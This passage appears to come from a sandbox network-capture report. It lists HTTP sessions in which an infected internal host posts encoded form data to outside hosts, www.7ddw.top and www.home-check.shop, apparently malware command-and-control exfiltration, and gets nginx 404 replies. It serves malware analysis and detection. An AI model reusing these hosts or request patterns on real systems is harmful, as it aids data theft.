ij60MtY=FpNaodwtk1yjNNjtVf50FyuSkTT8eCuNL+H2QvxlhuUMiQ6WUtnZBIdhoQFlAy4mscq+YaazxlSOkc+jiSwpU0J0pzR/EY8V/obb/MBb6IOPMemnQ6NHCnIXRdakRXV/nFDDE4T4zSFezCWEzgiGsF6J7z9hkva/IcDTM8urU3OU3pCGLmu3BwuB57gLyi4fVvW4wbsOxHeJAnWdX4O3qLXJ+O6jtbc+bqkJAgMAEbLajRKHc+XY+TWI9S1h9apfzWQTi9oHy4rwd+HNcPl1BYQHhOtGzOgsFf0jkFzeVl/2kP1pzdjAzMXCFKn7dKzqPjTUwFADPclK2hxCybaHodRUVRAcyLVcC5oV/JMunGco0HNo8BXttaQauxw8ss2Pohtyxv+q1sEdQyUtrLqxN6ElFQJa0SHOcN8mWucZdCEEbBIxtYipwHiGYiW/8JFW3DdYrQLuqxS1F4+JFylvDg379RN9zEYZAiGGTBasho54U1kauWV6i0c4HaXEWgCGmIzZ8m3WDfzQ218k3LVBY8A=
Aug 27, 2024 08:05:01.056082964 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:00 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.11.20	49926	154.23.184.207	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:03.605206013 CEST	2578	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4e 4e 6a 74 56 66 35 30 46 79 75 53 6b 54 54 38 65 43 75 4e 4c 2b 48 32 51 76 78 6c 68 75 63 4d 69 6d 75 57 53 50 50 5a 54 59 64 68 32 41 46 6b 41 79 35 6b 73 63 69 36 59 61 48 4f 78 67 57 4f 6b 4f 47 6a 33 77 59 70 45 6b 4a 31 6e 54 52 39 41 59 38 42 2f 6f 66 31 2f 4d 56 68 35 34 4b 50 43 2b 57 6e 47 64 5a 41 4f 58 49 56 52 64 61 34 47 6e 56 33 6e 46 58 70 45 34 50 34 7a 51 42 65 79 30 53 45 67 68 69 47 30 46 36 4b 6f 54 39 75 2f 66 61 4b 49 63 58 74 4d 38 76 51 55 79 32 55 33 72 61 47 5a 6c 47 30 41 51 75 42 36 37 67 4d 32 69 30 62 56 76 4b 61 77 61 59 4f 78 42 2b 4a 43 48 57 64 46 4e 79 34 75 72 58 51 36 4f 36 4b 37 72 51 49 62 73 49 64 41 68 6f 41 48 72 76 61 69 69 79 48 65 66 58 59 2b 7a 57 4b 7a 79 30 72 7a 36 70 44 7a 57 42 34 69 39 49 74 79 37 48 77 48 62 7a 4e 4a 61 52 32 47 34 52 43 76 75 74 54 35 75 6b 6f 46 66 6b 4a 6b 46 7a 4f 56 6e 54 32 6b 2b 46 70 79 65 37 44 77 63 58 4a 63 36 6e 79 54 72 50 6b 50 6e 7a 63 77 46 34 70 50 64 [TRUNCATED] Data Ascii: ij60MtY=FpNaodwtk1yjNNjtVf50FyuSkTT8eCuNL+H2QvxlhucMimuWSPPZTYdh2AFkAy5ksci6YaHOxgWOkOGj3wYpEkJ1nTR9AY8B/of1/MVh54KPC+WnGdZAOXIVRda4GnV3nFXpE4P4zQBey0SEghiG0F6KoT9u/faKIcXtM8vQUy2U3raGZlG0AQuB67gM2i0bVvKawaYOxB+JCHWdFNy4urXQ6O6K7rQIbsIdAhoAHrvaiiyHefXY+zWKzy0rz6pDzWB4i9Ity7HwHbzNJaR2G4RCvutT5ukoFfkJkFzOVnT2k+Fpye7DwcXJc6nyTrPkPnzcwF4pPdhK3BxCkoyIxdRTaxAC8rVtC5kz/IJZnWAo13do5RXir6QGkRw6nM2PohpIxviq1/YdCxMtuYCxAaEZFQIc0SLtcMoIWutRdAoEVx0xh5iq13iDciWOjZBF3DRQrUn+qiW1G7WJPSlsGA3G6RNv5kcVAiysTAu8hr54UURz8kd18mYzaePkXSHX/bj+7kbNdqfew0U3yaZfELYo6S4yLkQsEW9eo2BJTuyD6hMTqOnEexAnny+NJMDIYGkCGXMGdgXCx5mzsRb9IkLBkbiaXCYtzh8TLSGkBJkeu+PcSts3QfLkn7AEimmkCDuYoGqzGkYEbySYIjafoslU6EBQwg45ISDqYmLMrmk3INyKk37GasKEn/I+2N4LA+eaanbN/fYS+OvwX2o12VYlCA8fQlrJG/MXzLe6H68lQSqTzW10FePVpXp10Kj+YkVYQo6QshVihpReZF8XCylVUig0yN/oDeM+Xwv6wC1gbXJPHwurY5rd1T/cviSbY3SE9ILjvGJdMLbIjEz5QcMEQvygdWraXaukCFfVvdI03pcUMTmEaoUdY0b+7A+1Ili08huPfR5/i+Ljk1SRAlSG8pB0mhbUCf2Vc+bBApleM/0W+17fldpJwXOHjJpb1TXYpW5+THOot1GMaCrh0K0z208WamN/fO+g4WMz1nJV [TRUNCATED]
Aug 27, 2024 08:05:03.605288982 CEST	10312	OUT	Data Raw: 57 30 6d 35 6c 73 64 47 62 46 6a 63 57 2f 45 4c 45 32 30 79 43 57 56 47 36 77 55 64 4f 63 50 58 51 70 34 41 39 77 37 76 43 42 73 2f 66 4d 68 39 58 53 53 32 75 50 37 67 65 61 6d 52 49 69 31 70 4a 64 32 58 53 31 54 58 48 72 49 36 35 48 76 53 43 63 Data Ascii: W0m5lsdGbFjcW/ELE20yCWVG6wUdOcPXQp4A9w7vCBs/fMh9XSS2uP7geamRIi1pJd2XS1TXHrI65HvSCcCMjKEsNbO0wkizSSUcnUTaoAkz2Q9vnVNYY5DTfe96vUwGRq+DHO+wftMlEQPv/QDv9ZItM9Jk1uZNRXqqc1rGnOGCbwp+dmvD4hJqp+UEBMplOFaohqQhCUv5zdz7JaiMdZKR9h+5T8+ulOT/8ZjPQ3woeoORUw/
Aug 27, 2024 08:05:03.914655924 CEST	2578	OUT	Data Raw: 73 75 41 41 72 71 35 30 52 56 49 4a 4b 6c 75 6e 6e 4f 35 73 48 66 74 5a 6a 41 55 6c 79 41 67 63 52 44 2f 4f 79 38 4d 7a 48 49 47 38 71 48 31 7a 63 59 30 35 64 39 70 51 70 56 4d 53 6d 75 66 44 62 4d 45 38 38 72 38 4a 64 6b 44 4c 4f 73 7a 57 32 6e Data Ascii: suAArq50RVIJKlunnO5sHftZjAUlyAgcRD/Oy8MzHIG8qH1zcY05d9pQpVMSmufDbME88r8JdkDLOszW2n1zacS9UH1w9VGU1G4rpWXc4+L9ZHAtWnaHSiwDjMcQ9fF/Ur7Cfd/8zqNojxHUPIE/naNbqY4y5KPFSJBnC6beE5Wu+rkL4h9T4d9SxfRvrn8s9w+w7If1X2hAL1aUNZsUquDLfKxIS4OmQ0hFfBgQfZjpPCK94p6
Aug 27, 2024 08:05:03.914830923 CEST	15468	OUT	Data Raw: 64 70 64 6b 78 64 6e 4f 73 74 36 6f 68 31 2b 32 64 48 4d 49 75 48 4f 70 73 69 31 78 65 48 55 34 48 38 5a 4a 63 6e 4c 50 66 61 50 30 2b 39 5a 6b 44 31 34 6e 70 79 47 68 6d 6c 4c 55 70 46 35 6e 39 68 53 38 36 73 6e 50 61 6b 57 66 32 58 55 47 62 64 Data Ascii: dpdkxdnOst6oh1+2dHMIuHOpsi1xeHU4H8ZJcnLPfaP0+9ZkD14npyGhmlLUpF5n9hS86snPakWf2XUGbdDAKuhndFMjmN9hebYHjDa1t5DNVpYYh7afhD2xzFj+MAYHDX4Oevm+SXDAADRh3Rjh0ecHEe1XfpZip5ccwuO1NjmY6st0Rtv/nlFH+Q7N+RMbGuiC4qxaj2ncPYpG1CEyYCumhP0pJ2iJR4b1hMa7TJhAviFPGDF
Aug 27, 2024 08:05:03.914994001 CEST	1289	OUT	Data Raw: 71 65 66 54 4f 75 71 66 72 2b 62 4f 62 4f 31 69 6e 48 61 6c 6b 45 59 54 6f 6f 2f 69 6a 64 69 76 6a 59 6e 56 65 6b 46 53 38 70 49 52 63 54 67 42 4c 4c 66 45 4a 70 72 7a 6c 4e 46 76 6e 73 50 53 41 61 7a 52 4c 6d 36 65 41 6e 6b 52 7a 47 2f 6c 63 4c Data Ascii: qefTOuqfr+bObO1inHalkEYToo/ijdivjYnVekFS8pIRcTgBLLfEJprzlNFvnsPSAazRLm6eAnkRzG/lcL/7b7FKOIWw+hGC9fQTWEZMNFjg1SXdfz0HN5LnAFJZaxhJu/RX1gpuBRTdrWgt0gLzolGAawcgJ25E6/DwpvpsHaLo49ukDkhJmUwets9HT0N7UFTKVLD46HJeT+9ZIIb80L6o3SXLZW9gKtEDPUhatImuzgFvaKp
Aug 27, 2024 08:05:03.915164948 CEST	6445	OUT	Data Raw: 6c 63 72 77 47 41 70 52 58 41 37 68 66 61 6c 62 44 75 46 36 51 52 65 66 47 4f 41 6c 6e 77 64 43 39 4d 32 30 43 6c 6c 79 43 4b 30 4e 79 39 7a 79 4f 6f 54 70 6b 37 6c 4d 48 56 2f 66 41 30 74 46 7a 6e 51 56 4e 2f 31 72 5a 5a 69 4a 66 68 6b 43 69 76 Data Ascii: lcrwGApRXA7hfalbDuF6QRefGOAlnwdC9M20CllyCK0Ny9zyOoTpk7lMHV/fA0tFznQVN/1rZZiJfhkCivtcG9pmo+BNu8JojR1sBzxFynDTowSVbzKshKgSZNvkVGgW8oRVpzxvTO72L0zsCSZkY/A/j57FYbq7yet5JlDqzf4lTqorF3FR5Wu5hgA+hFMdaSeo0bYbngvvOoku0THDwjtNt6zvAmegzf3h/jQXhIUddiEbHYv
Aug 27, 2024 08:05:04.223386049 CEST	2578	OUT	Data Raw: 32 54 2b 4e 6f 38 5a 47 74 34 6d 6c 31 39 62 4f 68 4d 41 53 53 74 36 4d 75 6a 38 6c 35 33 79 62 5a 59 39 6d 50 59 50 6a 43 2b 39 64 76 41 6b 30 7a 79 73 68 46 61 54 42 61 79 79 6f 5a 6e 36 44 6e 63 4e 75 42 49 63 4e 75 30 6b 36 48 41 4b 74 66 59 Data Ascii: 2T+No8ZGt4ml19bOhMASSt6Muj8l53ybZY9mPYPjC+9dvAk0zyshFaTBayyoZn6DncNuBIcNu0k6HAKtfY7JsFaqmJZq+NdMh5DDj5pHFtyj2fPSt9Iqk6QkL74Qf1SqJpPggzumBFj9fo/9KjHJp8T+jiOR8WF1nQYBl/POcs2OhzHRYAhj5cUdaKO31W3uBV2R20IESr0NFcbpr8xTR3xo7WVCX5HxBkILxLAXeTCMlSkbdqf
Aug 27, 2024 08:05:04.223718882 CEST	10312	OUT	Data Raw: 66 43 36 58 6f 41 4c 78 58 4a 46 51 45 69 70 58 32 77 78 66 36 42 70 32 74 78 4d 51 49 2f 6b 6d 51 39 59 2b 31 4f 5a 4f 64 32 49 52 56 6b 78 73 45 34 51 5a 44 73 66 75 69 62 50 75 2b 78 48 61 6c 4d 69 4e 31 70 71 39 78 52 74 34 6a 73 70 66 76 4f Data Ascii: fC6XoALxXJFQEipX2wxf6Bp2txMQI/kmQ9Y+1OZOd2IRVkxsE4QZDsfuibPu+xHalMiN1pq9xRt4jspfvO16GaEZDp8fycCUoSqrsmOvRmuOXjtx8HjnQ4+ZoUduFzQ9yiTsCd/k3o2u735bzJHp5vtYa5pzyVavNwsFbFOo0UarAjdmT4ebNu3S9tS8wCU+6p2tXpc3RI4NFq8piSLvN3orC/p/XXc1M8G0/wR3qSm339rpwS/
Aug 27, 2024 08:05:04.223886967 CEST	1289	OUT	Data Raw: 6b 38 47 6a 2b 35 72 55 36 7a 4d 42 49 4f 53 61 6e 33 55 57 49 42 30 62 73 37 42 62 32 37 77 6b 37 48 70 54 58 77 6a 37 48 64 65 6f 6d 4c 65 51 47 4b 30 64 44 70 55 55 76 32 70 78 75 52 72 70 36 34 61 78 37 47 31 2f 78 6b 42 67 70 59 4d 4f 57 48 Data Ascii: k8Gj+5rU6zMBIOSan3UWIB0bs7Bb27wk7HpTXwj7HdeomLeQGK0dDpUUv2pxuRrp64ax7G1/xkBgpYMOWHnbJrvE6HqnJKheYTgQEmZ8xYBvzCRR6Bng8ufPl9zEZPPPv6kG0o7GjAf5S1SDlAD5lCevm5MUcijJP3ezvqjyvHpZ77nsxuNOQMH32nEF8DLyXvmz2LA/Iddld5cqzyFk1SEFy/gG2MhpD9ILlzt5YKS+pFMaaW0
Aug 27, 2024 08:05:04.224052906 CEST	690	OUT	Data Raw: 33 45 6c 79 2f 75 68 73 6c 32 4b 42 68 39 6a 77 6a 36 55 35 42 58 33 37 44 56 46 74 63 61 38 33 47 46 44 6a 75 43 69 4a 7a 48 43 49 2b 51 48 56 34 45 33 31 70 4a 53 48 6f 68 72 64 45 65 47 6f 5a 4f 5a 71 43 7a 44 64 61 7a 68 4f 48 51 72 7a 43 47 Data Ascii: 3Ely/uhsl2KBh9jwj6U5BX37DVFtca83GFDjuCiJzHCI+QHV4E31pJSHohrdEeGoZOZqCzDdazhOHQrzCGAITc2gMcU4xp6Z/68KzhvrA9jgyhih6DzvV0ZABRIqGWaaf0xxM+M4sM00VAHkqB6NIaWWScAJZhZb2aR4Q+dXFThsXDPr7nqe9Y31pYF8t/S5JcmIK7IHcbjVrgjBOCuwCo75K3DW08KhUbesKE2cAm9lzbUHRUs
Aug 27, 2024 08:05:04.533427000 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:03 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.11.20	49927	154.23.184.207	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:06.436834097 CEST	542	OUT	GET /pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:05:06.738729954 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:06 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.11.20	49928	185.230.15.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:12.002552986 CEST	823	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 32 4b 65 55 4c 75 67 6e 57 61 59 35 6f 66 61 59 42 59 61 56 50 61 6f 47 6a 59 6a 2f 35 71 2f 57 58 68 35 33 4b 55 70 4d 52 58 70 72 47 67 66 74 46 2f 76 61 2f 59 4d 65 54 42 39 70 44 68 6a 75 6b 7a 39 58 42 69 69 6a 6b 66 62 45 71 45 69 41 75 2f 4c 2b 57 39 6e 48 51 61 58 30 39 50 54 61 58 4b 58 75 54 65 7a 77 59 57 55 77 6f 43 6d 7a 4a 77 6a 77 69 63 34 65 4b 36 4c 73 6b 4b 43 70 30 66 55 6c 4e 37 36 45 39 34 73 63 6b 46 73 31 61 52 38 62 54 5a 30 46 37 37 54 44 59 44 43 5a 4e 74 75 67 4a 6e 46 39 73 72 52 6b 42 7a 71 54 73 71 51 7a 63 51 3d 3d Data Ascii: ij60MtY=Fl3Y1slJcSGC2KeULugnWaY5ofaYBYaVPaoGjYj/5q/WXh53KUpMRXprGgftF/va/YMeTB9pDhjukz9XBiijkfbEqEiAu/L+W9nHQaX09PTaXKXuTezwYWUwoCmzJwjwic4eK6LskKCp0fUlN76E94sckFs1aR8bTZ0F77TDYDCZNtugJnF9srRkBzqTsqQzcQ==
Aug 27, 2024 08:05:12.296715021 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.11.20	49929	185.230.15.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:14.782661915 CEST	1163	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 77 65 69 55 4a 4a 30 6e 66 61 59 36 78 66 61 59 50 34 62 53 50 61 6b 47 6a 63 7a 76 2b 5a 58 57 58 41 4a 33 4c 57 42 4d 53 58 70 72 4a 41 65 70 47 50 76 6e 2f 59 52 6a 54 41 42 70 44 67 44 75 32 32 70 58 45 53 69 73 38 50 61 32 70 45 69 44 6b 66 4c 4f 57 39 71 75 51 59 72 30 39 66 76 61 46 38 6a 75 5a 72 50 7a 63 32 55 71 67 69 6d 30 41 51 6a 41 69 63 30 57 4b 37 7a 38 6a 38 4b 70 36 65 30 6c 4d 37 36 48 6f 59 73 6c 73 6c 74 4a 65 45 5a 66 56 61 41 61 2f 38 4b 5a 52 44 69 4f 47 64 6d 2f 48 47 4a 51 79 6f 4a 50 4b 41 79 4d 6f 4c 4d 37 49 55 4c 47 49 54 4c 58 79 4b 6e 32 78 44 50 72 76 58 79 77 66 61 6a 30 5a 6e 74 43 6b 51 4f 54 76 74 68 4a 69 67 70 41 2f 68 39 66 6a 31 65 53 4f 73 2b 39 71 65 48 68 6b 61 48 4c 43 30 66 53 35 31 6b 37 42 53 43 74 33 4d 4e 73 38 7a 54 75 38 56 74 53 66 35 6b 65 55 54 36 63 45 77 4f 65 64 5a 63 42 30 67 75 79 42 79 78 5a 34 4e 2b 63 77 65 62 67 57 41 43 6d 50 45 72 6b 2f 49 53 66 2b 54 5a 76 64 45 41 48 6e 75 [TRUNCATED] Data Ascii: ij60MtY=Fl3Y1slJcSGCweiUJJ0nfaY6xfaYP4bSPakGjczv+ZXWXAJ3LWBMSXprJAepGPvn/YRjTABpDgDu22pXESis8Pa2pEiDkfLOW9quQYr09fvaF8juZrPzc2Uqgim0AQjAic0WK7z8j8Kp6e0lM76HoYslsltJeEZfVaAa/8KZRDiOGdm/HGJQyoJPKAyMoLM7IULGITLXyKn2xDPrvXywfaj0ZntCkQOTvthJigpA/h9fj1eSOs+9qeHhkaHLC0fS51k7BSCt3MNs8zTu8VtSf5keUT6cEwOedZcB0guyByxZ4N+cwebgWACmPErk/ISf+TZvdEAHnuCMsFAXsQtz/EBDYFq8I7E/hLlPXzxyfhjYUiH1dWWSEJ4ZAzM1zL+6LMWmLtNVgPc8J5OHA0aSpSAF2RVgSUdtG0OTXLwJZ0bSc+NJWzWgx99HMfRjdJ5Kx9PHHUTT0rG2doNlRP36yynGxYgX8gqFTy6a5x/VXbhQGwzkO9LGQeyzu4x7+AmqK91I7xt4t/TvGR3/ygeFV5c=
Aug 27, 2024 08:05:15.073818922 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.11.20	49930	185.230.15.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:17.563122034 CEST	2578	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 77 65 69 55 4a 4a 30 6e 66 61 59 36 78 66 61 59 50 34 62 53 50 61 6b 47 6a 63 7a 76 2b 5a 50 57 58 79 42 33 4b 33 42 4d 64 33 70 72 41 67 65 71 47 50 76 41 2f 59 4a 6e 54 41 4e 66 44 6b 7a 75 32 68 6c 58 44 67 61 73 70 2f 61 69 73 45 69 42 75 2f 4c 67 57 39 6e 35 51 59 76 4f 39 50 4c 61 58 50 72 75 54 34 6e 77 44 57 55 77 67 69 6d 67 45 51 6a 49 69 63 77 38 4b 37 50 38 6a 2b 2b 70 37 73 4d 6c 4a 71 36 48 38 34 73 69 31 31 74 47 4a 55 5a 32 56 61 55 30 2f 38 4c 73 52 47 61 4f 47 61 53 2f 45 42 39 66 78 49 4a 50 48 67 79 4e 35 62 41 33 49 56 6a 6b 49 51 58 58 79 49 6e 32 72 6a 50 72 35 6d 79 33 4c 71 6a 79 64 6e 74 76 79 51 54 51 76 73 45 77 69 69 6c 41 2f 56 56 66 69 45 65 53 43 74 2b 39 6b 65 48 6a 70 36 48 59 4a 55 66 34 35 31 31 53 42 53 69 58 33 50 68 73 38 52 62 75 70 42 5a 52 63 5a 6b 59 62 7a 37 59 41 31 57 61 64 5a 4d 64 30 67 75 69 42 7a 46 5a 34 39 75 63 7a 61 50 6a 56 51 43 68 47 6b 72 71 31 6f 57 56 2b 54 56 33 64 45 34 70 6e 75 [TRUNCATED] Data Ascii: ij60MtY=Fl3Y1slJcSGCweiUJJ0nfaY6xfaYP4bSPakGjczv+ZPWXyB3K3BMd3prAgeqGPvA/YJnTANfDkzu2hlXDgasp/aisEiBu/LgW9n5QYvO9PLaXPruT4nwDWUwgimgEQjIicw8K7P8j++p7sMlJq6H84si11tGJUZ2VaU0/8LsRGaOGaS/EB9fxIJPHgyN5bA3IVjkIQXXyIn2rjPr5my3LqjydntvyQTQvsEwiilA/VVfiEeSCt+9keHjp6HYJUf4511SBSiX3Phs8RbupBZRcZkYbz7YA1WadZMd0guiBzFZ49uczaPjVQChGkrq1oWV+TV3dE4pnu2MtlAXp3x0x0BEUlqxGbF9hLYeX2IPcQPYGiX1M2WRAp4jXjMJ3L+6LMayLtRVgek8ILGHFjOSvSAf2RU8SVhGG0GxXLAjZyDScqJJRyWh0N9CIfR0CZljx9TPHVvt0dS2csRlav35ninLmohUvwujTy2g5xLFXYhQEkymfvHOL+iAtM102muKD/xr/htqrozGaCDuiy7DB824lfsaTHJa1CRAguJ5817FryyECrgkcawAd6N2JkPcXvzA5V/xux915AymnZbTDS6VDWr4uEU7lMSahjRI/XvOzoNc6wrzzkdk/5+x7V7HouKRlk6OWNEla60tG6YewrQ2x8pj2nZPTKFeSk8pMZbTkQ6S+PFBl2l+BD2tBZQo4l2QkJBg8v/4GlvWLJZ3KU6wip/Xe5fSjOfBni5ep2eki/lxOkJOY19RBIMDpmg2ZVEVYAgUv4NmDrGHry8jSAC8tI+DKJoHam89ZSyEcXL7cLZWUBJOK4mpNkQE8T1WsXBIgS0ia28h22U2VGWg0nbQVZ2asRp6VlDoiYvIMCU8nxiummj4lpeYPdviHrta+voOxpTUNcMeTsxLl3sRsVwngreLtdTaT6yZSyRgIthNhfzCN9BkcY+vvDaAra9ydqoodmaUSoDPlYK6M5/ZKfcogUAPXLhEweM65kEUoOLX [TRUNCATED]
